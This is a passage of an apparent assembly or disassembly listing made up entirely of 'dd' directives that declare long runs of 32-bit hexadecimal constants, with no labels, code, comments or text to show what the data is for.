		dd 0EF07C73Eh, 11F94F3Bh, 2959FDE2h, 78136503h,	8850142Ah
		dd 532DBDDCh, 45DF6142h, 0B85C6687h, 0F19D46B2h, 0B59D6390h
		dd 5FC63B06h, 5D32E275h, 0FC4B18A4h, 2DE8F505h,	4870548Eh
		dd 736B0016h, 7FBD1048h, 501726D6h, 247A25C8h, 929D8679h
		dd 2F90DA69h, 0CE64555Ah, 0BB266E09h, 0D3A85703h, 5EBD2808h
		dd 0D5EDE977h, 98ECA552h, 0ABF40A89h, 15C28002h, 2CBC5CFEh
		dd 0F1AE08E6h, 29FF427h, 6D5D43EAh, 3A092FF4h, 0F61994D6h
		dd 0E8CE5EA0h, 562E8415h, 0FAD7C416h, 5D895A77h, 0C52D9747h
		dd 0C3F897BAh, 8CF487A2h, 9BF7C4Dh, 0FFE56F6h, 0CA4446D8h
		dd 0DB0112D2h, 64AE4E09h, 0F7459C40h, 57CF4FA6h, 4E25C33Fh
		dd 7B3455E1h, 0FDE044E2h, 33FD4B68h, 57501ECBh,	0C5100B8Eh
		dd 0F1A95F6Bh, 97EAFF00h, 4761E97Ah, 1029D997h,	61F15FA9h
		dd 850DF33Ah, 0CDABC942h, 0CCE32FB5h, 0B740203Dh, 0E7D06700h
		dd 0C0A8C780h, 0A1065BEFh, 3A7ED57Fh, 152833E0h, 0C221E9D1h
		dd 0E263F84Eh, 384525Ch, 5461D30h, 0A5FDFF52h, 0B6D215EDh
		dd 5EF01750h, 4A1862AAh, 8B7789E2h, 7208FC01h, 3334B455h
		dd 0ED1713BFh, 8FBD09A8h, 0D180F298h, 4E30E9DDh, 56CE21D3h
		dd 622255Ah, 2B18FE78h,	460C6129h, 1662D4Dh, 33105650h
		dd 70054EFh, 21AED59Fh,	1F32E9F7h, 60084ACDh, 3EB75322h
		dd 968080ACh, 0E7C0C7FEh, 6C2EE902h, 7D523C37h,	617B0169h
		dd 8B6C2C35h, 0D8255F02h, 5A89B4D7h, 0FA5A0EDEh, 90DADF08h
		dd 0A30D6D09h, 5A9D67Fh, 8040D0h, 0C11B5985h, 0FD4C0119h
		dd 29084010h, 928560F1h, 0C2E0F582h, 7D37F181h,	51E20A55h
		dd 0CEE3414Ch, 7F04B62Fh, 1BEE0502h, 46012568h,	0D4E5F932h
		dd 425E0898h, 757B72F6h, 97E9E9A8h, 1228D85Eh, 0ACE5D7B2h
		dd 0FD8B4A52h, 2A3D9D01h, 7CF4E941h, 2D5A16D1h,	0E8ED02F5h
		dd 0ECBE423Ah, 4AD68945h, 35667102h, 0D87E0C4Bh, 0AB417A4Eh
		dd 2D770364h, 2DCFC270h, 0E0098E65h, 0B65DBBABh, 4BE91231h
		dd 0B264EEA5h, 77393DC6h, 0E73420E2h, 5057AD1Fh, 0EE4049D3h
		dd 80D1B252h, 3BCB73F2h, 0EA007ACAh, 0E9D4287Ch, 0C4C6E605h
		dd 6144F9F6h, 5A3CD3D2h, 0FC4EC76Ah, 58014EA0h,	0E9B362EAh
		dd 17C8C0E2h, 391E55F3h, 6D31AA1h, 0BD4E51B8h, 0C1618446h
		dd 4AB031BFh, 0D55E0253h, 0F799C616h, 0B73419C0h, 2473B840h
		dd 170F5397h, 0D1160021h, 144C68EBh, 2662ED96h,	558BAB93h
		dd 0E1E06404h, 0EB321293h, 54CBACF5h, 9407561h,	6B41E93Fh
		dd 9702A0F2h, 1657006h,	2FF0E2EEh, 0B081BD93h, 83124661h
		dd 66B88545h, 181F6750h, 6011F25Eh, 353067F0h, 0B130C70h
		dd 0A154F7Dh, 3408C35Dh, 0A914160Ch, 8AEA9231h,	0C3C612E3h
		dd 1338B0A4h, 11E3625h,	4C60AA24h, 101A4A3Fh, 680AFE6Eh
		dd 8EC86231h, 0A2136AD6h, 3F8590FCh, 2A71721h, 0CE807CC5h
		dd 4076A20Ch, 5C37E92Ah, 0EBDE61F4h, 9D13F0A5h,	8E4212AEh
		dd 0CB414E4Ch, 0EF6C978Fh, 0DB5D844Dh, 0C859912Ch, 137C01C4h
		dd 4818AD8h, 2F0F38C1h,	0AE50AB6Eh, 8D5B2408h, 5904B110h
		dd 0FA63A068h, 2512DA9Bh, 9358B675h, 76A28A56h,	2B6468C3h
		dd 18564510h, 0FBCA0112h
		dd 4E8EBBCCh, 0D31FB85Eh, 97FD26AEh, 0DE37AC97h, 1D4FE83Eh
		dd 9CE94B15h, 1AF52D2Ah, 0F3F15589h, 16FE4F16h,	2D2DAE1Ah
		dd 9F083CFCh, 0CF79820h, 0DEE811D9h, 813AF497h,	9F5F468Dh
		dd 0DDE00731h, 149CD87h, 595D5155h, 8006E5C1h, 0FE219440h
		dd 4E10E915h, 0CBF6B44Fh, 5441497h, 0B168E3D1h,	785A352h
		dd 4446F0B9h, 7217687Bh, 16ED8359h, 0B681BF1Dh,	3D9758DFh
		dd 1A52FAC6h, 0E9F021BCh, 43820174h, 0A3408BF7h, 0F1BBD954h
		dd 82D2F32Fh, 73534168h, 87C42D9Dh, 0E8F3BC2Eh,	0CF2077BBh
		dd 0E876E97h, 0FA0585D3h, 412A993Ch, 53E416Fh, 90BB0012h
		dd 0FC9132F3h, 0E09A914h, 0B82FC289h, 0CE715F8Ah, 88CF6ADh
		dd 0B8036EE5h, 0D0C16B36h, 134680Dh, 142D01EAh,	0D71AB37Ch
		dd 393803D0h, 0A13BE916h, 81C5E1FDh, 80ABCCDFh,	6662C577h
		dd 0DDD14B60h, 0F0401444h, 0AC7ABB5Fh, 64060820h, 63ED8003h
		dd 0F7059AC0h, 4D835643h, 0BD0E6711h, 0EEA1894Eh, 0A0D98B42h
		dd 2439AB6Fh, 0DDF85699h, 40175D79h, 11A0BD00h,	0EE892B9Ch
		dd 8BF5BB7h, 880B6563h,	0F1FE3BCFh, 0BA28BEF5h,	5A24558Fh
		dd 852D90B8h, 0A0B89061h, 5394CF6h, 0CD211DD2h,	0EB7B86CDh
		dd 2E71807Ah, 7E4CFA65h, 111B0571h, 96FC2CECh, 0A96BD655h
		dd 0B3EEE474h, 7A688268h, 0C0987D62h, 0C082F5DDh, 0BF5FF8F8h
		dd 243FB9D9h, 2D819BEAh, 0B51226Fh, 895AEF9Fh, 0D045DECEh
		dd 0D829933Eh, 2E2861BEh, 0FB738292h, 7DD9095Fh, 5E951816h
		dd 77C8FAA0h, 3D39537Dh, 2EF8CA16h, 0A0E16884h,	0F6B589B3h
		dd 0D9BE58F4h, 308B0B00h, 0D26318B9h, 0F101271Eh, 5A2785C5h
		dd 7EF309C9h, 3E80035Ah, 0CB3C1CB9h, 942DB2B8h,	0E4A666F6h
		dd 726B9CD4h, 0D451B924h, 19E500BBh, 8738A535h,	0F755EA10h
		dd 810E5D30h, 0CA16E3F2h, 0AC4C75Ah, 0F89162AAh, 5BAD2A71h
		dd 59056982h, 0BAFD9022h, 5C252E60h, 3E4B7C3Ah,	3CED59FEh
		dd 6035DED8h, 41224017h, 70260A07h, 0B85018F0h,	887203FCh
		dd 1F25480Fh, 0E9134090h, 88E16B2Eh, 460FD3A8h,	8698C69Fh
		dd 3B78C2DBh, 71974840h, 0EB4040E1h, 1CED61BBh,	36E50B7h
		dd 76236935h, 0D1C0F732h, 8327E9E8h, 36C2C844h,	30D33D27h
		dd 44F24798h, 0EBE4C588h, 25C6594Ch, 6D2555D8h,	6477E00Ch
		dd 820214C9h, 7158BFBCh, 0BBB739B0h, 5922C244h,	5F347E4Ch
		dd 0A5A81AFDh, 3F3BF84Fh, 0E3245F78h, 0A038A2EFh, 0BADC23E9h
		dd 0EF554E1Ah, 36DF9D27h, 84B709B8h, 41FE1A90h,	3D67DB10h
		dd 74CB0110h, 8D207041h, 0D6360F4h, 0B23FB353h,	0DA28081Fh
		dd 76C32D49h, 0FEAFD80Eh, 9F0459BFh, 0A62BE42Eh, 5F080BCDh
		dd 576434C8h, 0E9036105h, 9A44D502h, 55A36CB9h,	7FC52B1Fh
		dd 1233B25Bh, 0E7A80710h, 0C28076C0h, 0EA752823h, 3059D5E5h
		dd 7970B2F5h, 0F0E9D00Ah, 0DD988084h, 0F103FACh, 0D5876E63h
		dd 4508D24Ch, 501CDFAh,	0E90BA353h, 0C7A5F8ACh,	4C1357F1h
		dd 0D9A14E13h, 80409A60h, 9B0FEE81h, 0C92B4DF8h, 810BF0F7h
		dd 0BD0067EDh, 0FD507EBEh, 0B909C7ECh, 0DE4A1016h, 8503928h
		dd 0FA21255Dh, 0C500A3D4h, 0E973282Ah, 2053B4C8h, 57BCB5B3h
		dd 243444B5h, 0AFCD1927h, 0E76F2055h, 0C769925Eh, 26B6DD0Ch
		dd 8F7FA7D2h, 561256B3h, 0AC05D4A2h, 353A4E68h,	0CE5F88C8h
		dd 0EC5F1440h, 2EB9608Ch, 0B03951BEh, 0BCBD5002h, 0EA2E2617h
		dd 15865FADh, 9B2D5C4Eh, 8739A189h, 6802048Bh, 0DE27975Eh
		dd 6C27421Fh, 582A3A7Fh, 9444E74Ah, 49EB9E00h, 5FE97864h
		dd 7E26B553h, 0A14848A7h, 564F4F20h, 815E7500h,	41022CEh
		dd 0F9682C1Ch, 9430EA55h, 2EF85C5Bh, 16A44548h,	8EE5901Eh
		dd 4B7B1130h, 13BD434Eh, 3D8C723Ch, 9D225D40h, 0D2B2513h
		dd 61DE681h, 826B753Bh,	935E3BCEh, 0D4575509h, 4DCE10C4h
		dd 50AD750h, 34BB8BB8h,	0A0EB27FCh, 3BFDD117h, 8410328Ah
		dd 0C2B05EC0h, 0A0C65B29h, 9311F67h, 0BAE8D210h, 0A2D63007h
		dd 49F4C18Ch, 0F70F809Fh, 12FB87DFh, 0CC3F4668h, 0F940CF93h
		dd 0EE832D5Dh, 0C42F16C7h, 63574843h, 6D122Eh, 0C8F2BF3Eh
		dd 124C1FFh, 0A22F4BCFh, 0CB1AE9ADh, 0D7307AF9h, 0FC841003h
		dd 925B6A04h, 251C8178h, 1AF056Fh, 0EF033665h, 1686300Ch
		dd 4A72C6BFh, 0BF881255h, 0F35A80DAh, 475CCC9Eh, 25563868h
		dd 0EE2DFF5Ah, 5EFA282Fh, 0E9D06EB6h, 64F49D13h, 0A487DB8Bh
		dd 0FCBCE6E5h, 0DBA92C5Fh, 9D32C36Ah, 477A8620h, 5373822Dh
		dd 74BA5B1h, 96AC67FBh,	0CCF2CB22h, 4BD9C395h, 9AFBB399h
		dd 17C0FD2Ah, 2949C50Fh, 0FC4FCB9Ch, 0C566A7A9h, 984F7D90h
		dd 0C8B78F04h, 1AA96887h, 460B5DBEh, 0AE418F05h, 90C0BCC3h
		dd 0C489BF63h, 0FCC2212Eh, 98ABE405h, 5E0BC2F0h, 0DC0B8821h
		dd 0F908A09Eh, 3DF6CB3Bh, 0E82BC151h, 4E801858h, 1746C34Bh
		dd 167E05Ch, 0C863190Dh, 0D6188E22h, 5E370932h,	0C4155828h
		dd 1EB8080h, 0E5B050C3h, 312CD8F6h, 4B58E527h, 0F38002DDh
		dd 63DD2879h, 0FE811649h, 884701CBh, 0D1D6F6DEh, 8EE0E2F3h
		dd 0C7B52370h, 6BAD26C6h, 98399C5Fh, 2C950505h,	8201507Ah
		dd 88BED6Ah, 177F540Bh,	81B9A3CCh, 0BA4326C5h, 62F56B1Ch
		dd 0D9FB0805h, 949D00B9h, 3E275309h, 0E121FF51h, 6A4BC068h
		dd 282D632Ch, 0EA847CACh, 296B17B2h, 8F04AF0Ch,	0D78C9BCEh
		dd 5B7F12C9h, 0D56B216Fh, 79F7C28Eh, 8F034918h,	0EF84D7AEh
		dd 0B937FE6h, 2314D065h, 57766297h, 0E9A782F3h,	0FD658523h
		dd 0FC99D20h, 29964537h, 0AFE44E84h, 7DB4DA37h,	4C35B017h
		dd 2E68B140h, 0C5FB4E1Ah, 0B104D0A6h, 0C10E80A8h, 0BFC9FEA4h
		dd 0C828F646h, 0FCDB20CCh, 0B54BE5F4h, 0D4B722FFh, 0BD07CAF8h
		dd 266831B6h, 962173DEh, 3720295Bh, 28E04046h, 504D801h
		dd 9C68032Ch, 794F612Fh, 1EAB045Ah, 9CA3C5Eh, 0A250B199h
		dd 6C2CA026h, 0BA99E66Fh, 68573E20h, 65394789h,	4BB0688Fh
		dd 46D1C0C1h, 3D35B800h, 0F7475100h, 17BB05D8h,	85775E65h
		dd 0E0D0C46Ch, 83B05200h, 4BDE226h, 290B8B7Ah, 0F40BD740h
		dd 8787E3DEh, 8942EABBh, 0DA7961CAh, 0A405BF72h, 0FA1E0F5Bh
		dd 8C6520Ah, 9AFC5F15h,	3884661Ah, 0FE4E409Ch, 222F1B79h
		dd 93022C4Fh, 93315741h, 7AC4650Ah, 48140EFCh, 558F1D8Fh
		dd 73298349h, 84BB6575h, 0D7835AE9h, 0A6AE720h,	0C09613FCh
		dd 4F626860h, 58189C00h, 0A3258D0Dh, 0FDE92F23h, 0D3EB5CA0h
		dd 5290C645h, 0A8711E20h, 0CEEF33AFh, 0C24CD09Dh, 0D248F708h
		dd 0C49E2DDAh, 55E3B040h, 6B78CF5Dh, 0AD18564Ch, 15C19759h
		dd 0DD4662BFh, 0D75AA1E8h, 47C2BBBCh, 0F1E65708h, 0F19DD6F4h
		dd 409E974Bh, 7525B8E8h, 0A9904129h, 0F17A6341h, 72FEE0FCh
		dd 0C85A10CAh, 387D84CFh, 0B4BCB100h, 0CC0A30A6h, 0C9E28859h
		dd 9015B10h, 210D5AD0h,	2105E53Ah, 0BB1DC43h, 631F6627h
		dd 98C2ADC3h, 0E7A17FC3h, 38AE6FE9h, 0B75AE6A7h, 0C2008D5Ah
		dd 780C17CAh, 194BBD55h, 0B0582A69h, 139D2BF3h,	137EDDEDh
		dd 0C969B923h, 9A70152h, 708245B8h, 7B9B5CC1h, 6B2EEEC1h
		dd 205539h, 701883F7h, 80CF264h, 2B60F1C1h, 28C216B6h
		dd 72913F1h, 3550CE32h,	1AC7AEF4h, 0A12E82A9h, 0D7F600E5h
		dd 8017FD86h, 9CF806EDh, 8694CB2h, 0E55E3A2Dh, 0E7C5D792h
		dd 137975BDh, 0CD4CC40Dh, 84443B10h, 660C85BEh,	6948FC2Ah
		dd 0E3BD2D89h, 9F83858Bh
		dd 4806C987h, 0E5A0466Ah, 17AADA02h, 206396DDh,	0BA486C9Ah
		dd 8407C409h, 12A129EEh, 866822C0h, 27396ABDh, 0CD810073h
		dd 28ED49CFh, 920EC04Dh, 0E938B405h, 578D6A64h,	0F45F90F0h
		dd 0EDFA4E2Fh, 7D258D29h, 29C2C6EFh, 95F2B8DAh,	0E85A4E52h
		dd 7F827C8Ch, 96E599C2h, 62C3AFBBh, 27DDD082h, 21911709h
		dd 65A13BE3h, 864A2C6Fh, 0F8EDCF4Bh, 0DFC188C7h, 0C313FED6h
		dd 0E62BCDD9h, 3C0BD36Ch, 2C7BB0A4h, 534E80DEh,	4731D6C0h
		dd 0E2BB4B3Bh, 8C152757h, 0E025DD76h, 0B5C6A01Fh, 0F005F7C8h
		dd 0CD91E16h, 18EEDC0Ch, 0DF681856h, 0E76B6D33h, 9F51F99Fh
		dd 8A7CC93h, 0BC3D41Fh,	2005C380h, 37983906h, 2EE39E59h
		dd 910B9C54h, 7927E410h, 0DF162F5Dh, 0CD6601DCh, 6F5095E3h
		dd 505BD22h, 893B51F1h,	48A1BC06h, 0B7A21065h, 6917573Bh
		dd 0D766F92Fh, 0FE1657FFh, 0E909A52Ah, 91751180h, 5802AFAAh
		dd 3089407Fh, 0F76F167Eh, 0D6AD11D9h, 5A02B84Ah, 0B6D141FAh
		dd 87568728h, 487C500Ch, 84027DCBh, 0CF7EAB68h,	5676016Fh
		dd 286F313Dh, 44002DB8h, 547E51Ah, 518075F9h, 8FF2D25Ch
		dd 5A119407h, 0DE1048E6h, 805A0503h, 0C0FB7DEFh, 2895F72Bh
		dd 0DB44F84Bh, 8BE4C723h, 69011E3Ch, 0D292C92Bh, 0FD04331Ah
		dd 192DAB59h, 64B1D143h, 0ED31DA1Bh, 3BC9C52Fh,	825E2549h
		dd 4690363h, 5180E064h,	4CB3B140h, 210984D8h, 8209CEFEh
		dd 0D3F558C2h, 907F4995h, 2C32E447h, 13064039h,	7FEBF19Dh
		dd 9F56222Ch, 89467E56h, 0D8DF206Ah, 70B5058h, 20D24F3Ch
		dd 57B743C2h, 9AA6B36Dh, 0A389FF65h, 80020520h,	20862FCBh
		dd 0F6F8B0DEh, 84D6584Dh, 47A3E1EFh, 0CFBC10h, 3A1DBABDh
		dd 1FD1451Ch, 0D6FD87EDh, 73DC48Dh, 9780B69Bh, 0C9F13330h
		dd 0F69A060Bh, 1611D6D9h, 84F6F9EAh, 4316ED8Dh,	87709DEBh
		dd 0C9A3E610h, 4A4FB800h, 2D351B7Dh, 14C5B16h, 58D38BABh
		dd 1E6901C6h, 452D212Fh, 0EB5358D8h, 4B16F060h,	2AC7F15Bh
		dd 9431A900h, 4B96685Eh, 53892243h, 1D5DC380h, 815B3828h
		dd 1BDB1C00h, 559CB89h,	0FEA1E7BDh, 1000BE3Ch, 6FC5E581h
		dd 4D352541h, 2F56E556h, 9F8AB1E9h, 160CC258h, 0F70CD0C5h
		dd 5ACACDAh, 0C16D4609h, 4B78F9E2h, 7FC7A462h, 6655FEE2h
		dd 0D6F72616h, 36A03E39h, 49206848h, 59A680D2h,	481758Fh
		dd 0F50AB3E1h, 6F3C115h, 0D5D283h, 0AB1030F9h, 0B2D0259h
		dd 296BAC7Dh, 0FEE2FCE3h, 8EF0A7C6h, 0B3BA039Dh, 0F500F57Fh
		dd 59C8885Bh, 0CC01AFEh, 77C4588Eh, 0CDD3ED01h,	0EA019920h
		dd 0FD30996Bh, 0A7BC3AC2h, 2FE6E9A1h, 9CBEBB00h, 0F4114638h
		dd 0FDCE5526h, 6C2C58D9h, 1062542Ch, 0A45C2D9Ch, 13AE9900h
		dd 36D8EFE5h, 29AF405Eh, 0F0F0F776h, 0CC988954h, 0EC8F6C5Ah
		dd 0AD3E5A41h, 13B2B485h, 1FCA721Bh, 0C63350B0h, 0A8293F7Bh
		dd 754BFB15h, 0F7057814h, 6BC268E1h, 0E83DF744h, 98588BAh
		dd 6E517782h, 9FC58C12h, 0D24FB6BEh, 5766480Fh,	530135E2h
		dd 0B91380BBh, 4FAAF863h, 0E0A14EACh, 0D6F12050h, 0F2504081h
		dd 7D04C134h, 5B90F4A0h, 0DE3CFBF3h, 0E8AE41A7h, 4DEDFF7h
		dd 71873689h, 0DF05A5DEh, 0BD91D02Bh, 44017A3Fh, 5DEF0933h
		dd 0E26B534Fh, 9890508Eh, 733B0616h, 1852C4FFh,	67E91C08h
		dd 18B94E5Ch, 3532F852h, 0F81B5AC9h, 32E64A1Eh,	21E29F78h
		dd 1A17E8C0h, 60910CC1h, 9E3C3D78h, 744DC0A4h, 6B64EA44h
		dd 49FF8C66h, 4B7A58A9h, 667924FBh, 4C28BBFh, 5516D306h
		dd 1797D8DCh, 6671EEC7h, 31C8F901h, 0DD78FCE9h,	0FF9683F3h
		dd 73DAAB8Fh, 0D74F9572h, 54E045BBh, 19A6BE5Dh,	0E8A71F85h
		dd 0ADDD849Ah, 66CF0B1Ch, 0B1004D9Ah, 0D12C5BF8h, 5FFF589Fh
		dd 294B8293h, 0FC4F5C2h, 0E19A9BF8h, 0EFCE2AA0h, 516B1ABEh
		dd 9F6A778h, 0C63E2808h, 0F895819Dh, 0F6A1205Ch, 19C3C3B0h
		dd 7BC12959h, 6E1025DFh, 812DC5CCh, 12C872EFh, 0F3D02BE9h
		dd 298DD2D9h, 0C479E86Bh, 96EA9D68h, 54BF96D9h,	0A0027A09h
		dd 91511DC3h, 2E576804h, 887271FBh, 5C88A7B6h, 0B4B212DBh
		dd 41FECEAAh, 3544C72Ch, 5F3B4002h, 2BB66030h, 0C958BF36h
		dd 0AE5EC100h, 0CE298A8Ch, 0F7312559h, 55490874h, 0FB71D710h
		dd 0AEC8525Bh, 0F10CA46Ch, 0AA2F0E10h, 0A6FC145Fh, 7537E9F0h
		dd 0AAAB94BFh, 0EA675722h, 5F59CD09h, 690B0365h, 0F64D9437h
		dd 16D96059h, 3D673558h, 0D2B88972h, 78CE9644h,	0B7C42856h
		dd 0C2801799h, 7024E844h, 846CFD4Ch, 6804EF48h,	96C9E182h
		dd 0E7D0C334h, 600F7B9Eh, 597D0C64h, 0E9177C16h, 5B407794h
		dd 64AB680Ch, 0A48E09BAh, 0ADF11274h, 0BD19E907h, 0E9EE5F0Bh
		dd 3C4E42FAh, 0CBECD6DDh, 0CFE8B756h, 91C574A3h, 62ADE2B0h
		dd 74A027D6h, 3BB0079h,	5E65AE0Eh, 7CD7A709h, 0F36800E9h
		dd 56F1250Fh, 0D697E8C5h, 0B7006FBCh, 0B90DAC38h, 4320B660h
		dd 20639854h, 0BF12B2D3h, 62C167BEh, 81820503h,	0E79D12B3h
		dd 2E515161h, 737908D9h, 0BC7B6017h, 302FA1B9h,	2B308C2h
		dd 3EE86477h, 0B8F2BD63h, 2DC14457h, 17FCABB3h,	0C282DC4Bh
		dd 0E7F60E59h, 5BDF6878h, 4E6E317Eh, 28CB81C7h,	473CAC27h
		dd 13304620h, 80B244Ah,	0D824FD82h, 2842DE1Ch, 0CA5356B3h
		dd 3DA85DD9h, 0DCB7098Bh, 659D6EDDh, 0BCC1EEDDh, 12F294C0h
		dd 62E631A1h, 10535130h, 374A8526h, 7009DB1h, 0B5D60159h
		dd 0E910AFE6h, 5F7E1C9Ch, 24D8A688h, 482D10C0h,	1F2C95B0h
		dd 7AF8282Eh, 3F847848h, 0BD65C8FCh, 557A5E13h,	799D7600h
		dd 7AE92AE2h, 5A60C421h, 186824Eh, 0F480C090h, 1F038C91h
		dd 0D961EC77h, 0D5829EEEh, 309521B0h, 0F291EB77h, 0D866556Ah
		dd 0CABD5506h, 6748275h, 0E92880C5h, 0AE0B0C32h, 800F0E3Fh
		dd 0BA1D2DE4h, 0E4D6056h, 25737583h, 628C5EBFh,	6E553CB3h
		dd 875154A2h, 69BD2768h, 392831DBh, 7F2CEA17h, 528082BBh
		dd 68179B70h, 0ABA33876h, 0F476E85Ah, 18FF0925h, 61E95650h
		dd 0BD227D00h, 40BA2468h, 58C52531h, 4F04DE78h,	5561651Dh
		dd 70B144AEh, 1CA921h, 0ADE5999h, 2DAF681h, 0E94D8A4Ch
		dd 47C90FADh, 5268C432h, 4636699Dh, 2D7BA97Bh, 0B867048h
		dd 861CED18h, 52583D80h, 4500ADBAh, 0F2817101h,	4880CA03h
		dd 26201CFDh, 5ED752B5h, 962DAC16h, 4AF0B109h, 0F1088059h
		dd 906F7043h, 8BE72D71h, 0BBACC87Bh, 50ED1E12h,	0AA5F0C05h
		dd 712EAD5h, 528BCBAFh,	5FAC1241h, 0C0D26ABDh, 4B4C7354h
		dd 382F0A90h, 0B54F17Ah, 0E3F11448h, 0E0165712h, 0BBB85141h
		dd 5E07350h, 0DA280009h, 31060D70h, 0E9EA518Ah,	4374B7E0h
		dd 98C2CF27h, 9C4B6A43h, 4F8460F3h, 94A165A9h, 6C050090h
		dd 7CB22729h, 0C10929D3h, 0BD8D2ADh, 48F2733Bh,	80BF392h
		dd 0E8AF96D9h, 62116967h, 1DA49435h, 5F9F8DC5h,	0F9C03A4Ch
		dd 6F5A73D0h, 0DEAAF5C6h, 805DA589h, 2A600962h,	92C4B749h
		dd 62F0D99Dh, 0DD1808Ah, 0E856501Eh, 0C409185Fh, 2E1EFFC7h
		dd 0DD3BE917h, 0D3EF3549h, 0FCDABCD8h, 0C5EBF483h, 6F98AEBCh
		dd 0C629D0EBh, 60297127h, 5D8BA155h, 0E092F201h, 0E155C9B4h
		dd 26D9FEFBh, 9ACBD1E2h, 75EE604Eh, 0B47BBD2Fh,	12E9A9B0h
		dd 0B1EA9DA8h, 6E5D7D40h, 2106BA12h, 527C0EFh, 509DF808h
		dd 2BEF3F49h, 0B1293712h, 13080528h, 4A171886h,	741275BAh
		dd 0B3001582h, 66B618AFh
		dd 161F4BE9h, 0C0E3BD54h, 0F78772Eh, 1862FBE9h,	2738A559h
		dd 0EB0A6417h, 0A21D0D24h, 86A1ECD6h, 0D53AB62Bh, 0E2582F0Eh
		dd 0F4205558h, 4D3A358Fh, 2D37534Ch, 4011D6F3h,	38D86850h
		dd 581C1E00h, 1847E42Dh, 540766Dh, 0AF05F0D5h, 491DEB50h
		dd 6B6A5C85h, 7026BF1h,	50CCC058h, 34025B8Fh, 5A04AAE6h
		dd 1307E2h, 4649F5E5h, 5B5E027Ah, 0E3E523BAh, 0F895D9B6h
		dd 7FCE097Ch, 0EC021B48h, 0BAF6E23Ch, 4459D2F2h, 40BD01FBh
		dd 170E46ECh, 0FB587BC3h, 0F47F6A2Dh, 0F5410ED0h, 0EF40756Ch
		dd 6EE604ADh, 99EE010Ch, 7443411Eh, 63DD7ABBh, 2338CEEDh
		dd 0D204E95Eh, 0CC8EC9BEh, 185F1B68h, 51C56AE9h, 73CCABA7h
		dd 42F6A028h, 9BEB5029h, 0EF20ACBh, 0EE50C6Ch, 11024107h
		dd 0D64DD989h, 0F416680Bh, 6275C9C8h, 95C5D578h, 0E12AD1AFh
		dd 2A4DE368h, 74EED8h, 0B9193E32h, 7D90AEADh, 58C12900h
		dd 0A7685753h, 5F8A286Fh, 61A42094h, 0DDD4BA04h, 1A81954Fh
		dd 28D14882h, 9736970h,	29143757h, 801A8C2h, 2A785FE9h
		dd 34D96BDDh, 3F41997Bh, 0E9B04DFDh, 26955D26h,	0BBEC1CAh
		dd 3735607Eh, 82409304h, 0ADF6BD86h, 20495C2Dh,	74E139FEh
		dd 1B125D48h, 149D7DFh,	6E1DD265h, 0D05C1FCh, 823C8279h
		dd 457DD83Ah, 29E2A96Ah, 25625EAh, 299F10A0h, 687AB019h
		dd 30235AE6h, 9E308A9Eh, 3BFBF2B0h, 3E5335C8h, 0DDBEF3B3h
		dd 8B0A3113h, 68559828h, 6AFEA55h, 65E9593Fh, 0D3B53F41h
		dd 0D2B80059h, 0E9279D30h, 83CC6B69h, 0C587D534h, 0D6B04E3h
		dd 582C6877h, 467AB5C1h, 7CC0122h, 0CAA3C61h, 5E86FF31h
		dd 8F275095h, 0A7D3C047h, 95999F18h, 46136E10h,	68CA70BBh
		dd 0F99A293Ah, 4BD25B5Eh, 6FA97FEDh, 0FE556AA7h, 0F1716F0Bh
		dd 68E55167h, 1DFE6CD4h, 8FC0C20Bh, 63D0936Ch, 2516B03Ah
		dd 249EF01Ah, 6F457C5Dh, 0AD9F3904h, 151E0081h,	0EA875FDAh
		dd 0E906C24Dh, 0F17DB46Eh, 0E5F569DAh, 12540980h, 68412674h
		dd 0DF8B5F8Bh, 8A745A1Bh, 0B6250880h, 0FA4B1F69h, 0E5B1AA40h
		dd 0C22546h, 8906F5Fh, 5600A90Dh, 490EBB53h, 0FC244AB1h
		dd 2164D63h, 366E43F3h,	28878144h, 0FABA3D71h, 919003A0h
		dd 232FF11Ch, 0B51C32D6h, 3C6B12BFh, 6946F80h, 0B8265AA3h
		dd 0B832607Ch, 2A146BEh, 20973507h, 5D743EF4h, 9FC2913h
		dd 55661474h, 0AF10DD39h, 12953B65h, 87348499h,	0D82FF2A1h
		dd 0BAB5D65Dh, 7DC4D5F8h, 0B05A0190h, 56376CFEh, 969EFC9Fh
		dd 80554313h, 0E4C29BEFh, 0A22C68D6h, 0B549A458h, 394F0AE6h
		dd 27BF3095h, 8F22B2C8h, 3302C768h, 0BBC164ABh,	0EE916F4Ch
		dd 346936DEh, 26CBF493h, 0FF377142h, 6D79B303h,	0DEE21702h
		dd 60542F12h, 11FB16Eh,	2335297Ch, 6879BD26h, 114D1009h
		dd 0C10A5981h, 5330821Bh, 0D6482A6Ch, 4F7E08A5h, 22A2C120h
		dd 3C7A255Fh, 0BE56FB40h, 5B7E081Eh, 0AA0FE444h, 6567804Fh
		dd 582A55A3h, 0C50394C5h, 237F26A5h, 1B05E5EBh,	0FF565D58h
		dd 0A050924Bh, 546FBD54h, 81165AB7h, 72EB01B4h,	7F91180Fh
		dd 4E2EFC3h, 290CD055h,	126F84DFh, 10DBA808h, 0E84E0D7Fh
		dd 0FE2CB419h, 16EA1CBAh, 14A12A8h, 670B4D87h, 0DABD3F54h
		dd 3F2CB807h, 0A831D51Ah, 71EF2D40h, 0C43316C0h, 0F90BFA01h
		dd 36DB0FF8h, 0CD2F40BBh, 55F74CB0h, 0FD7C8C92h, 0E9010EC4h
		dd 556F7FA4h, 4AF04802h, 99989792h, 7195ED46h, 47E04258h
		dd 5C03BE0Ah, 0C7DBA02h, 0DC0D4C62h, 0DD09CDEAh, 8077B454h
		dd 754B378Fh, 0E00CC112h, 6F223D95h, 0CAEDD3C4h, 4D796081h
		dd 0B7983006h, 56F87825h, 1FB9008Ch, 0DE011B7Bh, 7FD26817h
		dd 0F40D8F3h, 0D3CF4FE9h, 0DC20E29Fh, 68409D25h, 0A73E9BC9h
		dd 64CB157Fh, 37680C7Ah, 5D9AD976h, 0CB895A18h,	0DF75C15Dh
		dd 4B6B67FDh, 42E42821h, 56990624h, 963C7FA7h, 0BB5EEE42h
		dd 5C31DD6Dh, 4975D03Bh, 534BFA86h, 307E7FE9h, 6886D408h
		dd 0D5B32696h, 322F402h, 246A543Dh, 1201024Ah, 1E604BDCh
		dd 214F3387h, 82050EEh,	0DD489558h, 0A8EF8760h,	0D77E70EAh
		dd 0E95C21BDh, 243F09F7h, 0FF30AFAFh, 0C15AD129h, 26F8AE50h
		dd 3F11D57Dh, 6C14440h,	9DA1BC1Eh, 890403F0h, 6F8EE9C5h
		dd 3E226803h, 3EA7BE85h, 0A2DF5F78h, 0E9F9C1EAh, 2F40BEF6h
		dd 60AE5188h, 1BC50C2Ch, 50958B67h, 0CFA22C38h,	0E002C2E8h
